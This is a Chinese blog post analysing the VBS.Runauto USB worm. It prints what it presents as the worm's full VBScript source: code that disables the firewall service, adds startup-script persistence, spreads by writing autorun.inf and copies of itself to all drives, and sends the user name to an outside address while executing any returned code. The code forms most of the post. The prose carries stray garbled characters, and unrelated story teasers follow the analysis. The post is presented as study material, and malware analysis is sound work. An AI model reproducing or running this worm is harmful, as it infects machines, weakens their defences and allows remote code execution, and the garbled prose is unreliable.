腳本病毒-VBS.Runauto

VBS.Runauto腳本病毒是我們俗稱的U盤病毒的一種,Symantec公司給其定位為蠕蟲(Worm)病毒躲因,雖然危害性遠(yuǎn)不如一些惡性病毒早敬,但常常會(huì)嚴(yán)重影響用戶正常使用計(jì)算機(jī)。

腳本概覽

Symantec對(duì)該病毒的簡(jiǎn)介

源碼分析

由于在網(wǎng)上找了很久也沒有找到該病毒的樣本大脉,只能參考網(wǎng)上的分析文章中所公布出來(lái)的源碼進(jìn)行分析搞监,意在分析病毒的大體函數(shù)調(diào)用,作學(xué)習(xí)之用镰矿。

 
On Error Resume Next 
Set fso=CreateObject("scripting.filesystemobject") 
Set wshshell=CreateObject(strreverse("wscript.shell")) 
Dim dri_list,dri_list0 
Dim issend 
issend=0 
c_time=Date() 

' 這是關(guān)閉SharedAccess(Intemet連接共享和防火墻服務(wù))' 
wshshell.run "net stop sharedaccess",0 

Set drvs=fso.drives 
sysdir=fso.GetSpecialFolder(1) 
'WindowsFolder=0,SystemFolder=1, TemporaryFolder=2 '

thispath=wscript.ScriptFullName 
Set fc=fso.OpenTextFile(thispath,1) 
'ForReading=1,ForWriting=2 ,ForAppending=8 '

scopy=fc.readall 
fc.Close 

Set fc=Nothing 
' 寫注冊(cè)表注冊(cè)文件sysinfo.reg琐驴,注冊(cè)系統(tǒng)開機(jī)自動(dòng)執(zhí)行病毒 '
Call writefile(sysdir&"\sysinfo.reg","windows registry editor version 5.00 [hkey_local_machine\software\policies\microsoft\windows\system\scripts\startup\0\0] "script"="%windir%\\system32\\prncfg.vbs" "parameters"="" "exectime"=hex(b):00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 [hkey_local_machine\software\microsoft\windows\currentversion\group policy\state\machine\scripts\startup\0\0] "script"="%windir%\\system32\\prncfg.vbs" "parameters"="" "exectime"=hex(b):00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
") 
' 導(dǎo)入注冊(cè)表sysinfo.reg '
wshshell.run "regedit /s sysinfo.reg" , 0 
wscript.sleep 200 
fso.deletefile sysdir&"\sysinfo.reg" , True 

' 如果當(dāng)前運(yùn)行腳本在系統(tǒng)目錄中' 
If InStr(thispath,sysdir)>0 Then 
dri_list0=listdrv() 
o_time=left(c_time,3)&cstr(Int(Mid(c_time,4,1))-1)&Right(c_time,Len(c_time)-4) 
'回?fù)軙r(shí)間1年 '
wshshell.run "cmd /c Date" &o_time,0 
wscript.sleep 10000 
For dri_i=1 to Len(dri_list0) 
Call writeauto(Mid(dri_list0,dri_i,1)& ":\" ) 
Next 
wshshell.run "cmd /c Date "&c_time,0 


 'WMI應(yīng)用查詢計(jì)算機(jī)名,用戶名'
computername="":username=""
Set objwmiservice=GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") 
Set colcomputers = objwmiservice.execquery("select * from win32_computersystem") 
For Each objcomputer in colcomputers 
computername=objcomputer.name 
username=objcomputer.username 
Next 
If username="" Then username="evar" 
If InStr(username,"\")<=0 Then 
username=computername&"\"&username 
End If 
do 
If issend=0 Then 
' 鏈接外網(wǎng),獲得執(zhí)行代碼 
Set xml=CreateObject("msxml2.serverxmlhttp") 
xml.open "get","http://202.119.104.100/zzb/eva/count.asp?a="&username,0 
' http://202.119.104.100/zzb/是南師大學(xué)校黨委組織部主辦的網(wǎng)站 
xml.setrequestheader "user-agent","evar" 
xml.send() 
If Err.number=0 Then 
issend=1 
res=xml.responsetext 
If ucase(left(res,7))=ucase("Execute") Then Execute res 
Else 
Err.clear 
End If 
Set xml=Nothing 
End If 

dri_list=listdrv() 
For dri_k=1 to Len(dri_list) 
If InStr(dri_list0,Mid(dri_list,dri_k,1))<=0 Then 
Call writeauto(Mid(dri_list,dri_k,1)&":\") 
End If 
Next 
dri_list0=dri_list 
wscript.sleep 1000 
loop 
Else 
wshshell.run "explorer .\",3 
wscript.sleep 2000 
wshshell.appactivate LCase("我的電腦") 
wshshell.sendkeys UCase("% c") ' 模擬擊鍵 alt + space + c 棍矛,其實(shí)就是關(guān)閉窗口 
runflag=0 

' 獲得當(dāng)前系統(tǒng)進(jìn)程安疗,WMI的應(yīng)用 
For each ps in GetObject _ 
("winmgmts:\\.\root\cimv2:win32_process").instances_ 
If lcase(ps.name)=lcase("wscript.exe") Then 
runflag=runflag+1 
End If 
Next 
If runflag>=2 Then wscript.quit 
Set sf=fso.GetFolder(sysdir) 
f_time=Left(sf.datecreated,InStr(sf.datecreated," ")-1) 
wshshell.run "cmd /c Date "&f_time,0 
wscript.sleep 100 
Call writefile(sysdir&lcase("\prncfg.vbs"),vs(scopy)) 
wshshell.run "cmd /c Date "&c_time,0 
wshshell.run sysdir&"\prncfg.vbs" 
End If 

' 混亂字符串,進(jìn)行代碼變體! 
Function vs(str) 
Execute "For i=1 to Len(str) c=ucase(Mid(str,i,1)) randomize If Int(rnd()*100)>50 Then vs=vs&lcase(c) Else vs=vs&c End If Next vs=replace(vs,ucase("%u"),lcase("%u"))" 
End Function 

' 列出驅(qū)動(dòng)器 
Function listdrv() 
Execute "Dim tmp_list tmp_list="" For each drv in drvs If drv.isready Then tmp_list=tmp_list&drv.driveletter End If Next listdrv=tmp_list" 
End Function 

' 寫autorun.inf文件 
Sub writeauto(path) 
' 寫Auto文件前的準(zhǔn)備够委,如果path中有autorun.inf文件夾那么重命名;如果有autorun.inf文件則刪除 
Execute "If fso.folderexists(path&"autorun.inf") Then fso.movefolder path&"autorun.inf",path&rnd() elseif fso.fileexists(path&"autorun.inf") Then fso.deletefile path&"autorun.inf",true End If" 
' autorun.inf中的啟動(dòng)代碼 
cmdstr="shell\*\command=wscript.exe "&chr(34)&"eva.vbs"&chr(34) 
autostr="[autorun]"&vbcrlf&"open="&vbcrlf&replace(cmdstr,"*","open")&vbcrlf&replace(cmdstr,"*","explore")&vbcrlf&replace(cmdstr,"*","find") 
' 寫入 
Call writefile(path&ucase("autorun.inf"),autostr) 
Call writefile(path&"eva.vbs",vs(scopy)) 
End Sub 
'將content中的內(nèi)容寫入fpath荐类,并設(shè)置文件屬性是ReadOnly、Hidden和System 
Sub writefile(fpath,content) 
Execute "If fso.fileexists(fpath) Then fso.deletefile fpath,true Set fc=fso.OpenTextFile(fpath,2,true) fc.write content fc.Close Set fc=Nothing Set fa=fso.getfile(fpath) fa.attributes=7 Set fa=Nothing" 
End Sub 

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末茁帽,一起剝皮案震驚了整個(gè)濱河市玉罐,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌潘拨,老刑警劉巖吊输,帶你破解...
    沈念sama閱讀 216,544評(píng)論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異铁追,居然都是意外死亡季蚂,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,430評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門琅束,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)扭屁,“玉大人,你說我怎么就攤上這事涩禀×侠模” “怎么了?”我有些...
    開封第一講書人閱讀 162,764評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵艾船,是天一觀的道長(zhǎng)葵腹。 經(jīng)常有香客問我,道長(zhǎng)屿岂,這世上最難降的妖魔是什么践宴? 我笑而不...
    開封第一講書人閱讀 58,193評(píng)論 1 292
  • 正文 為了忘掉前任,我火速辦了婚禮爷怀,結(jié)果婚禮上浴井,老公的妹妹穿的比我還像新娘。我一直安慰自己霉撵,他們只是感情好磺浙,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,216評(píng)論 6 388
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著徒坡,像睡著了一般撕氧。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上喇完,一...
    開封第一講書人閱讀 51,182評(píng)論 1 299
  • 那天伦泥,我揣著相機(jī)與錄音,去河邊找鬼。 笑死不脯,一個(gè)胖子當(dāng)著我的面吹牛府怯,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播防楷,決...
    沈念sama閱讀 40,063評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼牺丙,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了复局?” 一聲冷哼從身側(cè)響起冲簿,我...
    開封第一講書人閱讀 38,917評(píng)論 0 274
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎亿昏,沒想到半個(gè)月后峦剔,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,329評(píng)論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡角钩,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,543評(píng)論 2 332
  • 正文 我和宋清朗相戀三年吝沫,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片递礼。...
    茶點(diǎn)故事閱讀 39,722評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡惨险,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出宰衙,到底是詐尸還是另有隱情,我是刑警寧澤睹欲,帶...
    沈念sama閱讀 35,425評(píng)論 5 343
  • 正文 年R本政府宣布供炼,位于F島的核電站,受9級(jí)特大地震影響窘疮,放射性物質(zhì)發(fā)生泄漏袋哼。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,019評(píng)論 3 326
  • 文/蒙蒙 一闸衫、第九天 我趴在偏房一處隱蔽的房頂上張望涛贯。 院中可真熱鬧,春花似錦蔚出、人聲如沸弟翘。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,671評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)稀余。三九已至,卻和暖如春趋翻,著一層夾襖步出監(jiān)牢的瞬間睛琳,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,825評(píng)論 1 269
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留师骗,地道東北人历等。 一個(gè)月前我還...
    沈念sama閱讀 47,729評(píng)論 2 368
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像辟癌,于是被迫代替她去往敵國(guó)和親寒屯。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,614評(píng)論 2 353

推薦閱讀更多精彩內(nèi)容

  • Android 自定義View的各種姿勢(shì)1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 172,077評(píng)論 25 707
  • 因?yàn)楹?jiǎn)單愿待,用腳都可以寫python perl ruby lua ????? (1)什么是腳本語(yǔ)言浩螺?(2)為什么叫做...
    plantAtree_dAp閱讀 941評(píng)論 0 5
  • 是在哪一個(gè)晚上,你看著我仍侥,看著看著就睡著了要出。 是在哪一個(gè)清晨,我想看著你农渊,卻一直一直未找見你患蹂。 有人說,走過那一條...
    芷墨l閱讀 756評(píng)論 27 37
  • 對(duì)待一個(gè)人如何面對(duì)砸紊,
    我為誰(shuí)閱讀 131評(píng)論 0 0
  • 實(shí)驗(yàn)環(huán)境: VirtualBox_5.0.24.8355_Win ubuntu-16.04.1-desktop...
    AnyL8023閱讀 564評(píng)論 0 0